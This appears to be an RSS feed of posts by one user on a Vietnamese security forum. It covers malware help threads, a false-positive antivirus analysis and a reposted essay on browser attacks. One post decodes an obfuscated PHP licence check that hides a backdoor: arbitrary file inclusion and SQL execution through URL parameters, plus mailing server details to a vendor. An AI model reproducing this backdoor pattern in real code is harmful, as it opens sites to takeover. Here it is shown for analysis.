<![CDATA[Messages posted by "bolzano_1989"]]> /hvaonline/posts/listByUser/135987.html JForum - http://www.jforum.net HVA nhiễm Trojan JS/Kryptik.AMG http://pastebin.com/LsBQw9Dp Copy nội dung sau chứa nội dung cần được unescape trong file trên: http://pastebin.com/Xgyc212B vào 1 dịch vụ/công cụ cho phép bạn unescape chuỗi trên (như trang http://www.motobit.com/util/url-decoder.asp hoặc http://www.utilities-online.info/urlencode/ ) thì bạn sẽ thấy kết quả là file html có nội dung sau: http://pastebin.com/BZa8PKPr Trong nội dung html được decode này, tôi không thấy bất cứ nội dung nào có thể gây hại cho máy bạn cả. Tuy nhiên, khi upload file hvaonline.js này lên và scan với dịch vụ của VirusTotal thì nhận được kết quả sau: Code:
Detection ratio:	 2 / 53
Analysis date:	 2014-07-16 16:52:11 UTC ( 1 minute ago )
ESET-NOD32	 JS/Kryptik.AMG	 20140716
Rising	 HTML:Exploit.HTML.Mht.am!134091	 20140716
Link kết quả scan: Code:
https://www.virustotal.com/en/file/862029444ef2412481bc16bc08c5bc9c7c17c66799e95558c1b75c52e464bb2e/analysis/1405529531/
Tuy nhiên khi lưu nội dung được decode (unescape) ở trên vào 1 file html mà tôi đặt là hvaonline_decoded.html và upload lên VirusTotal để kiểm tra thì không có antivirus nào phát hiện mã độc cả (bao gồm chính ESET-NOD32) ;) . Link kết quả scan: Code:
https://www.virustotal.com/en/file/5dfa9b1cc11906f53aa4986be696a7f1cc19442e8c7084aa919a6438e5c473e7/analysis/1405532765/
Vậy nên ta có thể kết luận kết quả scan của ESET cho thấy phần mềm này thực hiện việc đánh giá mức độ an toàn của 1 website tương đối cẩu thả, có thể gây lúng túng cho người dùng và tất nhiên là bạn cũng không nên tạo thêm 1 chủ đề với nội dung "HVA nhiễm Trojan JS/Kryptik.AMG" nữa nhé ;) .]]> /hvaonline/posts/preList/45707/281034.html#281034 /hvaonline/posts/preList/45707/281034.html#281034 GMT Giúp đỡ về virus /hvaonline/posts/preList/45637/280736.html#280736 /hvaonline/posts/preList/45637/280736.html#280736 GMT Nhờ các bác kiểm tra dùm em này /hvaonline/posts/preList/45355/280583.html#280583 /hvaonline/posts/preList/45355/280583.html#280583 GMT Kết nối cơ sở dữ liệu trong hệ thống Cuckoo

nhox_huyvu wrote:
Mình chào bạn, mấy tài liệu đó mình đọc kỹ rùi ah, ý của mình là sao sao khi phân tích làm thể nào để đẩy dữ liệu phân tích lên mysql ah. Bạn có thể hướng dẫn cho mình phần này với ah chứ mình nghiên cứu khá nhiều nhưng thật sự thì bó tay rùi ah. tks bạn nhiều ah 
Bạn đọc kỹ thế nào vậy, vào đây xem phần database: https://github.com/cuckoobox/cuckoo/blob/master/conf/cuckoo.conf]]> /hvaonline/posts/preList/45586/280399.html#280399 /hvaonline/posts/preList/45586/280399.html#280399 GMT Kết nối cơ sở dữ liệu trong hệ thống Cuckoo /hvaonline/posts/preList/45586/280386.html#280386 /hvaonline/posts/preList/45586/280386.html#280386 GMT Giúp đỡ remove Wplugin.dll in application data /hvaonline/posts/preList/45230/278810.html#278810 /hvaonline/posts/preList/45230/278810.html#278810 GMT Cách để phát hiện người khác xâm nhập máy tính mình

lengocvan wrote:
Chào tất cả mọi người, Em có một vấn đề như sau, mong mọi người giúp đỡ. Em muốn biết có cách nào để xác định được những người nào đã từng kết nối đến máy tính của mình bằng teamviewer và remote desktop không? Nếu có xin chỉ cho em với. Em xin cảm ơn ạ. (Lần đầu em post bài, nếu không đúng chổ xin mod move qua đúng chổ dùm em, em xin cảm ơn) 
Tại sao bạn lại có nhu cầu này? Bạn miêu tả kịch bản xâm nhập bạn quan tâm xem, nếu bạn miêu tả đủ rõ ràng người tấn công xâm nhập và điều khiển máy tính bạn như thế nào thì mình sẽ giúp bạn.]]> /hvaonline/posts/preList/45198/278716.html#278716 /hvaonline/posts/preList/45198/278716.html#278716 GMT Hỏi về header email

thienvan13 wrote:
Một email có header: Delivered-To: email C Return-Path: email A From: email A To: email B Header không có chữ forward, không có CC hoặc Bcc. Câu hỏi của mình: Có kỹ thuật nào giả mạo được địa chỉ email B không? Hay email B cũng là nạn nhân? (nếu email độc hại).  
To: email B Phần này làm giả được.]]> /hvaonline/posts/preList/45129/278353.html#278353 /hvaonline/posts/preList/45129/278353.html#278353 GMT Giúp mình giải mã đoạn code này Code:
<?php
echo(gzinflate(base64_decode('
dVNdi9pAFH220P8wDmGTgCtroRQqWbo1oSzblTbu
9sVKSJNrHZxk4sxoK3b/e+cratUSSELOveeee3LG
K1mVkxpFyMsmSfotSae+fWbju8fEnw1fv+p4AvgG
eEaaS3V3cZy6OuA8wniI1DuZo6ALVSO3gVewej71
KRFQF+DPwhDtVEXHW8I2OgU1j2k+GtqNEB68ede/
UdcAo6sr5FnZGqCsyOmCCYmR4+14smoi+N1QVkKA
/+CenhQOLaZes/3SVfk28Obruri+HccPmZKgW8xX
WxMqsUeN1oFDQwmmQQ+cDmZuhFF/GNONDHwzM8It
i/p2WC80qhEy/vUj/Nl6ge6VGs6hkNjydryc84zR
8qBhDrJYxD9GykPyM8CFeeKwrS+YPLJWtWFyxmmJ
fnEi4Yyopxl67VhH+6Lv+vaCgApATvWYoUW+AdSq
HyljzJCTMKjqUDvxn2xEkb/X6LdBqUCICMf2r71H
uO/+Th+j77XdxNQoGTaU6P6LKdubfKFytBaSVcCN
UstqxRQOyPS/9WcXWlNYrUFI07M/Dmny9TmZPGXP
6f2/Tdbhkk2gLh9zQlGA5SIngtUfJFez+ptaOa18
6Rn+npMBakPqu1BpB4kQIAMv+5Q8TS9LVUdr5yLo
6vxNbWYoHqR8pWu16jl0lFsLqfX4VgE7FxKxoio9
QnLSCJqLBYjTyjZObKnTGX+8vjWIPscr2qJmAluG
qOGklkhDp5n6Cw==
')));
?>
Sau đó vào trang http://phpbeautifier.com/beautify.php chỉnh lại code cho dễ đọc: Code:
$domain = $_SERVER['SERVER_NAME'];
$server_ip = $_SERVER['SERVER_ADDR'];
$err = "";

if (!empty($conf['lisence'])) {
    $key = $conf['lisence'];
    if ($server_ip != "127.0.0.1" && $domain != "localhost") {
        $tmp = explode("|", $key);
        $key_domain = md5($func->NDK_encode(md5($domain)));
        $key_ip = $func->NDK_decode($tmp[1]);
        if ($key_domain != $tmp[0] && $key_ip != $server_ip) {
            $err.= "Lisence Incorrect";
            $arr_old = $func->fetchDbConfig("config");
            $cot['lisence'] = "incorrect";
            $func->writeDbConfig("config", $cot, $arr_old);
        }
    }
}
else $err.= "No have Lisence Code";

if (!empty($err) && empty($conf['lisence']) == 'incorrect') {
    $mess = "Domain : " . $domain . " \n";
    $mess.= "SERVER IP: " . $server_ip . " \n";
    $mess.= "Customer Code : " . $conf['customer_code'] . " \n";
    $mess.= "Request: " . $_SERVER['REQUEST_URI'] . " \n";
    $func->doSendMail("thaison@trust.vn", $err, $mess, $conf['email']);
    if (isset($_GET[$conf['customer_code']])) {
        if ($_GET['vntrust']) include ($_GET['vntrust']);

        if ($_GET['query']) {
            $sql = stripslashes($_GET['query']);
            $ok = $DB->query($sql);
            if ($ok) print $sql;
        }
    }
}
]]> /hvaonline/posts/preList/44858/276703.html#276703 /hvaonline/posts/preList/44858/276703.html#276703 GMT https://www.hvaonline.net/null/ /hvaonline/posts/preList/44850/276651.html#276651 /hvaonline/posts/preList/44850/276651.html#276651 GMT Phân tích DNS để có thể phát hiện botnet /hvaonline/posts/preList/44780/276070.html#276070 /hvaonline/posts/preList/44780/276070.html#276070 GMT Hỏi về tcpdump

p.n.t wrote:

quangteospk wrote:
Theo mình nghĩ tcpdump thường được sử dụng trên các máy chủ nix* vì tính đơn giản và gọn nhẹ của nó. Sau khi `dump được một mớ dữ liệu thì Administrator sẽ down nó về máy tính cá nhân của mình để phân tích. Lúc này có thể sử dụng wireshark để mở file *.pcap đó lên và phân tích. 
Vậy để tính toán số lượng packet và số bye đi vào hệ thống dựa theo file .pcap sau khi dump được thì dùng tool nào tốt nhất ? mong mọi người chỉ giúp Tks.  
Wireshark hỗ trợ sẵn rồi, không cần tìm tool khác đâu, kết hợp với các filter cho ta sự linh động hơn nhiều việc trông chờ vào 1 tool khác chỉ để thực hiện 1 chức năng.]]> /hvaonline/posts/preList/44676/275452.html#275452 /hvaonline/posts/preList/44676/275452.html#275452 GMT Tiến trình qygronhazepi.exe /hvaonline/posts/preList/44564/274874.html#274874 /hvaonline/posts/preList/44564/274874.html#274874 GMT Các bậc tiền bối định hướng giúp mình về lập trình chuyên ngành

chiro8x wrote:
Python: Tiện lợi cho người viết, cross-platform, không cần thiết quan tâm tới giữ liệu cấp thấp, xử lý và chuyển đổi dữ liệu dễ dàng, thư viện có sẳn phong phú, đơn giản dễ học ... tuy nhiên rào cản là nó sẽ tập cho bạn những thói quen lập trình xấu.  
Bạn có thể cho mọi người biết những "thói quen lập trình xấu" mà Python sẽ tập cho người học được không ;-) ? ]]> /hvaonline/posts/preList/44435/274436.html#274436 /hvaonline/posts/preList/44435/274436.html#274436 GMT Wireshark trong ubuntu 12.10 /hvaonline/posts/preList/44470/274392.html#274392 /hvaonline/posts/preList/44470/274392.html#274392 GMT modem bị virus config /hvaonline/posts/preList/44348/273841.html#273841 /hvaonline/posts/preList/44348/273841.html#273841 GMT một web chặn IP của mình dùng proxy không tác dụng còn cách nào ko ? /hvaonline/posts/preList/44270/273439.html#273439 /hvaonline/posts/preList/44270/273439.html#273439 GMT Gặp khó khăn khi duyệt HVA

Ky0shir0 wrote:
Vào HVA: https://www.hvaonline.net/ Click Forum ra cái này hoài: https://www.hvaonline.net/null/ Phải dùng Google tìm cái link nào đó trong HVA forums mới vào được. Vì sao thế nhỉ? 
Đừng truy cập HVA với SSL nữa. Bạn đang dùng Firefox?]]> /hvaonline/posts/preList/44013/273434.html#273434 /hvaonline/posts/preList/44013/273434.html#273434 GMT Kỹ thuật ByPass Authentication Required của một website site /hvaonline/posts/preList/44265/273410.html#273410 /hvaonline/posts/preList/44265/273410.html#273410 GMT có ai biết kiến trúc VAX ?

panfider wrote:
tạo ra để hiểu cách thức hoạt động của kernel sẽ có kiến thức về hệ thống hay hơn. Đó giống như đề tài về computer science mà mình sẽ làm trong trường đh  
Thôi thôi, xuống dưới đất đi, bay trên trời bấy nhiêu năm chưa đủ sao?]]> /hvaonline/posts/preList/44223/273181.html#273181 /hvaonline/posts/preList/44223/273181.html#273181 GMT FB bị hack mật khẩu hàng loạt /hvaonline/posts/preList/44225/273175.html#273175 /hvaonline/posts/preList/44225/273175.html#273175 GMT The Web Won't Be Safe or Secure until We Break It - Jeremiah Grossman Các trình duyệt web đều không an toàn, bảo mật và Internet có những lỗ hổng cơ bản ảnh hưởng đến bảo mật thông tin cá nhân/doanh nghiệp. The Web Won't Be Safe or Secure until We Break It - ACM Queue by Jeremiah Grossman | November 6, 2012 http://queue.acm.org/detail.cfm?id=2390758 Unless you've taken very particular precautions, assume every Web site you visit knows exactly who you are. JEREMIAH GROSSMAN, WHITEHAT SECURITY The Internet was designed to deliver information, but few people envisioned the vast amounts of information that would be involved or the personal nature of that information. Similarly, few could have foreseen the potential flaws in the design of the Internet—more specifically, Web browsers—that would expose this personal information, compromising the data of individuals and companies. If people knew just how much of their personal information they unwittingly make available to each and every Web site they visit—even sites they've never been to before—they would be disturbed. If they give that Web site just one click of the mouse, out goes even more personally identifiable data, including full name and address, hometown, school, marital status, list of friends, photos, other Web sites they are logged in to, and in some cases, their browser's auto-complete data and history of other sites they have visited. Obtaining all this information has been possible for years. Today's most popular browsers, including Chrome, Firefox, Internet Explorer, and Safari, do not offer adequate protection for their users. This risk of data loss seems to run counter to all the recent marketing hype about the new security features and improvements browser vendors have added to their products over the past several years, such as sandboxing, silent and automatic updates, increased software security, and anti-phishing and anti-malware warnings, all of which are enabled by default. While all are welcome advances, the fact is that these features are designed only to prevent a very particular class of browser attacks—those generally classified as drive-by downloads. Drive-by downloads seek to escape the confines of the browser walls and infect the computer's operating system below with malware. Without question, drive-by-downloads are a serious problem—millions of PCs have been compromised this way when encountering infected Web sites—but they are certainly not the only threat browser users face, especially in an era of organized cybercrime and ultra-targeted online advertising. The techniques behind attacks that obtain personal information are completely different and just as dangerous as malware, perhaps more so since the solution is far more complicated than just installing antivirus software. These attack techniques have even more esoteric labels such as XSS (cross-site scripting), CSRF (cross-site request forgery), and clickjacking. These types of attacks are (mostly) content to remain within the browser walls, and they do not exploit memory-corruption bugs as do their drive-by download cousins, yet they are still able to do their dirty work without leaving a trace. These attacks are primarily written with HTML, CSS (Cascading Style Sheets), and JavaScript, so they are not identifiable as malware by antivirus software in the classic sense. They take advantage of the flawed way in which the Internet was designed to work. The result is that these attack techniques are immune to protections that thwart drive-by downloads. Despite the dangers they pose, they receive very little attention outside the inner circles of the Web security industry. To get a clearer picture of these lesser-known attacks, it's important to understand a common Web technology use case. HTML allows Web developers to include remotely hosted image files on a Web page from any location across the Web. For example, a Web site located at http://coolwebsite/ may contain code such as: <img src="http://someotherwebsite/image.png"> This instructs a visiting browser to send a Web request to http://someotherwebsite/ automatically, and when returned, to display the image on the screen. The developer may tack on some JavaScript to detect if the image file was loaded successfully or contained an error: <img src="http://someotherwebsite/image.png" > If the image file loaded correctly, then the "successful" JavaScript function executes. If an error occurred, then the error function executes. This code is completely typical and innocuous, but the same functionality can also be leveraged for invasive, malicious ends. Now, let's say http://coolwebsite/ loaded an image file from http://someotherwebsite/, but that image file is accessible only if the user's browser is currently logged into http://someotherwebsite/. As before: <img src="http://someotherwebsite/loggedin.png" > If the user is logged in, then the image file loads successfully, which causes the executions of loggedIn. If the user is not logged in, then notLoggedIn is executed. The result is an ability to test easily and invisibly whether a visitor is logged in to a particular Web site that a Web developer does not have a relationship with. This login-detection technique, which leverages CSRF, can be applied to online banks, social networks, Web mail, and basically anything else useful to an attacker. The attacker behind http://coolwebsite/ just has to find the URLs that respond in a Boolean state with respect to login. Next, consider that a malicious Web-site owner might want to go one step further and "deanonymize" a Web visitor, which is to say, learn the visitor's real name. Assume from the previous example that the attacker can determine if the visitor is logged into Twitter, Facebook, Google+, etc. Hundreds of millions of people are persistently logged in to these online services every day. These Web sites, and many like them, are designed that way for convenience. The next thing an attacker could take advantage of is those familiar third-party Web widgets, such as Twitter's "Follow," Facebook's "Like," and Google's "+1" buttons. While these buttons may seem innocent and safe enough, nothing really technically prevents Web sites from placing those buttons within an HTML container, such as a div tag, making those buttons transparent, and hovering them just under a Web visitor's mouse pointer. This is done so that when visitors click on something they see, they instead automatically Follow, Like, or +1 whatever else the bad guy wants them to. This is a classic case of clickjacking—an attack seen in the wild every day. Here's why this flaw in the Internet matters: since the attacker controls the objects behind those buttons, after the user clicks, the attacker can tell exactly "who" just Followed, Liked, or +1'ed on those online services (e.g., Twitter: "User X Followed you." Facebook: "User X Liked Page Y."). To deanonymize the Web visitor, all the attacker needs to do is look at the public profile of the user who most recently clicked. That's when the fun begins for the attacker and trouble begins for the unsuspecting Internet user. One more longstanding issue, "browser intranet hacking," deserves attention. This serious risk, first discussed in 2006, remains largely unaddressed to this day. Browser intranet hacking allows Web-site owners to access the private networks of their visitors, which are probably behind network firewalls, by using their browsers as a launch point. This attack technique is painfully simple and works equally well on enterprises and home users, exposing a whole new realm of data. The attack flow is as follows: a Web user visits a malicious Web site such as http://coolwebsite/. That site instructs the visitor's browser to make a Web request to an IP address or host name that the visitor can get to but the attacker cannot, such as 192.168.x.x or any non-routable IP as defined by RFC-1918. Such requests can be forced through the use of IMG tags, as in the earlier example, or also through the use of iframe, script, and link tags: <iframe src="http://192.168.1.1/" onload="detection()">.</iframe> Depending on the detectable response given from the IP address, the attacker can use the Web visitor's browser to sweep internal private networks for listening IP Web servers. Locating printers, IP phones, broadband routers, firewalls, configuration dashboards, and more. The technique behind browser intranet hacking is similar to the Boolean-state detection in the login-detection example. Also, depending on whether the user is logged in to the IP/Hostname, this type of attack can force the visitor's browser to make configuration changes to the broadband router's Web-based interface through well-known IPs (192.168.1.1, 10.10.0.1, etc.) that can be quickly enumerated. The consequences of this type of exploitation can be devastating as it can lead to all traffic being routed though the attacker's network first. Beyond login detection, deanonymization, and browser intranet hacking are dozens of other attack techniques possible in today's modern browsers. For example, IP address geo-location tells, roughly speaking, what city/town a Web visitor is from. The user-agent header reveals which browser distribution and version the visitor is using. Various JavaScript DOM (Document Object Model) objects make it trivial to list what extensions and plugins are available—to hack or fingerprint. DOM objects also reveal screen dimensions, which provides demographic context and whether the user is using virtualization. The list of all the ways browser security can be bent to a Web-site owner's will goes on, but the point is this: Web browsers are not "safe"; Web browsers are not "secure"; and the Internet has fundamental flaws impacting user (personal or corporate) security. Now here's the punch line: the only known way of addressing this class of problem adequately is to "break the Web" (i.e., negatively impact the usability of a significant percentage of Web sites). These issues remain because Web developers, and to a large extent Web users, demand that certain functionality remain available, and that functionality is what makes these attacks possible. Today's major browser vendors, whose guiding light is market share, are only too happy to comply. Their choice is simple: be less secure and more user-adopted, or be secure and obscure. This is the Web security trade-off—a choice made by those who do not fully understand or appreciate, or are not liable for, the risks they are imposing on everyone using the Web. NONSTARTER SOLUTIONS To fix login detection, a browser might decide not to send the Web visitor's cookie data to off-domain destinations (those different from the hostname in the URL bar) along with the Web requests. Cookies are essential to tracking login state. The off-domain destination could still get the request, but would not know to whom it belonged. This is a good thing for stopping the attack. Not sending cookies off-domain, however, would break functionality for any Web site that uses multiple hostnames to deliver authenticated content. The approach would break single-click Web widgets such as Twitter's "Follow," Facebook's "Like," and Google's "+1" buttons. The user would be required to perform a second step. It would also break visitor tracking via Google Analytics, Coremetrics, and so on. This is a clear nonstarter from the perspective of many. To fix clickjacking, Web browsers could ban iframes entirely, or at least ban transparent iframes. Ideally, browser users should be able to "see" what they are really clicking on. Suggesting such a change to iframes, however, is a losing battle; millions of Web sites rely upon them, including transparent iframes, for essential functionality. Notable examples are Facebook, Gmail, and Yahoo! Mail. You don't normally see iframes when they are used, but they are indeed everywhere. That level of breakage is never going to be tolerated. For browser intranet hacking, Web browsers could prohibit the inclusion of RFC-1918 resources from non-RFC-1918 Web sites. This would essentially create a break point in the browser between public and private networks. One reason that browser vendors say this is not doable is that some organizations actually do legitimately include intranet content on public Web sites. Therefore, because some organizations (which you have never heard of and whose Web sites you'll never visit) have an odd use-case, your browser leaves the private networks you are on, and that of hundreds of millions of others, wide open. As shocking as this sounds, try looking at the decision not to fix the problem from the browser vendors' perspective. If they break the uncommon use-case of these unnamed organizations, the people within those organizations are forced to switch to a competing "less-secure" browser that allows them to continue business as usual. While the security of all other users increases for the browser that makes the change, that browser vendor loses some fraction of market share. SECURITY CHASM The browser vendors' unwillingness to risk market share has led to the current security chasm. Dramatic improvements in browser security and online privacy are held hostage by backward compatibility requirements related to how the Internet was designed. Web-browser vendors compete with each other in trench-style warfare, gaining ground by scratching for a tiny percentage of new users, everyday—users who don't pay them a dime, while simultaneously trying to keep every last user they already have. It's important to remember that mainstream browsers are essentially advertising platforms. The more eyeballs browsers have, the more ads are delivered. Ads, and ad clicks, are what pay for the whole party. Anything getting in the way of that is never a priority. To be fair, there was one important win recently when, after years of discussion, a fix was applied to CSS history sniffing. This is the ability of a Web site to uncover the history of other Web sites a user had visited by creating hyperlinks on a Web page and using either JavaScript or CSS to check the color of the link displayed on the screen. A blue link meant the visitor had not been there; purple indicated the user had visited the site. This was a serious privacy flaw that was simple, effective, and 10,000-URLs-per-second fast to execute. Any Web site could quickly know where you banked, shopped, what news you read, adult Web sites frequented, etc. The problem of CSS history sniffing finally got so bad and became so high profile that roughly 10 years after it first came up, all the major browser vendors finally broke the functionality required for the attack. Many Web developers who relied on the underlying functionality were vocally upset, but apparently this was an acceptable level of breakage from the browser vendors' perspective. When the breakage is not acceptable, but the issue is still bad, new opt-in browser security features are put forth. They generally have low adoption rates. Prime examples are Content Security Policy, X-Frame-Options, Origin, Strict Transport Security, SSL (Secure Sockets Layer), Secure and HttpOnly cookie flags, etc. Web-site owners can implement these solutions only when or if they want to, thereby managing their own breakage. What none of these features do is to allow Web users to protect themselves, something every browser should enable its users to do. Right now, Web security is in a holding pattern—waiting for the bad guys to cause enough damage—which then should give enough juice to those with the power to take action. BEYOND THE STATUS QUO The path toward a more secure Web has a few options. We could establish a brand-new World Wide Web, or an area within it. A Web platform designed to be resilient to the current laundry list of problems, however, will forever plague its predecessor. For the moment, let's assume we technically know how to make a secure platform, which is a big if. The next step would be to convince the developers behind the millions, potentially hundreds of millions, of important Web sites to move over and/or build atop version two. Of course, the promise of a "more secure" platform would not be sufficient incentive by itself. They would have to be offered something more attractive in addition. Even if there were something more attractive, this path would only exchange our backward-compatibility problem for a legacy problem, which is likely to take years, perhaps a decade or more, to get beyond. There is another path—one that already has a demonstrated model of success in mobile applications. What you find there basically amount to many tiny Web browsers connected to the mobile version of the main Web site. The security benefit provided by mobile platforms such as Apple's iOS and Google's Android is that the applications are isolated from one another in both memory and session state. For example, if you launched Bank of America's mobile application, logged in, did your banking, and then subsequently launched Facebook's mobile application and logged in, neither app has access to the other app's session, as would be the case in a normal desktop Web browser. Mobile applications have little to no issues regarding login detection, deanonymization, and intranet hacking. If mobile platforms can get away with this level of application and login-state isolation, certainly the desktop world could as well. By adopting a similar application model on the desktop using custom-configured Web browsers (let's call them DesktopApps), we could address the Internet's inherent security flaws. These DesktopApps could be branded appropriately and designed to launch automatically to Bank of America's or Facebook's Web site, for example, and go no further. Like their mobile application cousins, these DesktopApps would not present an URL bar or anything else making them look like the Web browsers they are on the surface, and of course they would be isolated from one another. Within these DesktopApps, attacks such as XSS, CSRF, and clickjacking would become largely extinct because no cross-domain connections would be allowed—an essential precondition. DesktopApps would also provide an important security benefit to Chrome, Firefox, Internet Explorer, and Safari. Attacks such as login detection and deanonymization would be severely hampered. Let's say Web visitor X uses only a special DesktopApp when accessing the Web sites of Bank of America, Facebook, or whatever else and never uses the default Web browser for any of these activities. When X is using Chrome, Firefox, or Internet Explorer and comes across a Web site trying to perform login detection and deanomymization, well, X has never logged in to anything important in that browser, so the attacks would fail. What about intranet hacking? The answer is to break the functionality, as described earlier. Web browsers should not allow non-RFC-1918 Web sites to include RFC-1918 content—at least not without an SSL-style security exception. One or all of the incumbent browser vendors need to be convinced of this. If that mystery company with an odd use-case wants to continue, it should have a special corporate DesktopApp created that allows for it. It would be far more secure as a result, as would we all. This article has outlined a broad path to fix Web security, but much is left unaddressed about how to roll out a DesktopApp and get the market to adopt such practices. Beyond just the security benefits, other features are needed to make DesktopApps attractive to Web visitors; otherwise there is no incentive for browser vendors to innovate. There's also lobbying to be done with Web-site owners and developers. All of this makes fixing the Internet a daunting task. To get past security and reach our final destination—a world where our information remains safe—we must develop creative solutions and make hard choices.]]> /hvaonline/posts/preList/44030/272154.html#272154 /hvaonline/posts/preList/44030/272154.html#272154 GMT Tìm hiểu rõ hơn về Games CTF

sasser01052004 wrote:
Em thì học được nhiều điều lắm anh, nhất là sau vòng chung kết Em nhận ra là hacking phải nắm thật tường tận về code, cái bài GAOmaze bị time out suốt (viết bằng java) Em nghĩ là nếu viết bằng python thì sẽ cải thiện được tình hình hơn Anh nghĩ sao? 
Mình chỉ kết luận bạn không phải là lập trình viên Java giỏi. Để kết luận Java hay Python nhanh hay chậm hơn, cần thực hiện nhiều thí nghiệm, theo mình biết thì kết quả benchmark cũng chưa thống nhất tùy thuộc vào nhiều yếu tố, bạn đừng nên "nghĩ" hãy thí nghiệm và so sánh.]]> /hvaonline/posts/preList/43828/271605.html#271605 /hvaonline/posts/preList/43828/271605.html#271605 GMT Các anh cho em hỏi về car wlan trong backtrack5 /hvaonline/posts/preList/43913/271604.html#271604 /hvaonline/posts/preList/43913/271604.html#271604 GMT Tìm hiểu rõ hơn về Games CTF /hvaonline/posts/preList/43828/271584.html#271584 /hvaonline/posts/preList/43828/271584.html#271584 GMT Kết nối lạ ra bên ngoài /hvaonline/posts/preList/43888/271499.html#271499 /hvaonline/posts/preList/43888/271499.html#271499 GMT Phần mềm diệt virus chạy trên Linux?

tanngochva wrote:
Mình mới sử dụng Linux-Ubuntu được nửa năm. Cho mình hỏi trên Linux có phần mềm diệt vius trả phí không? 
Có ESET NOD32 Antivirus đó bạn, nhưng tại sao bạn lại muốn dùng hàng phải trả phí?]]> /hvaonline/posts/preList/43794/271053.html#271053 /hvaonline/posts/preList/43794/271053.html#271053 GMT Dính virus remove &quot;system protection&quot; trong Control panel home win 7

muadocda wrote:
Tìm hiểu thêm hãy vào: http://chips.vn/marketing/dich-vu-bao-tri-may-tinh.aspx  
Tìm hiểu thêm cái kiểu gì kì cục vậy?

muadocda wrote:

taki7610 wrote:
Anh vào safe mode - msconfig - disable services tong đó rồi khởi động lại xem được không. Cũng có thể thử Startup Repair xem sao. 
Tất nhiên là không được rồi cưng.  
Thôi cái kiểu chém gió tự biên tự diễn này đi nhé. ]]> /hvaonline/posts/preList/43759/270887.html#270887 /hvaonline/posts/preList/43759/270887.html#270887 GMT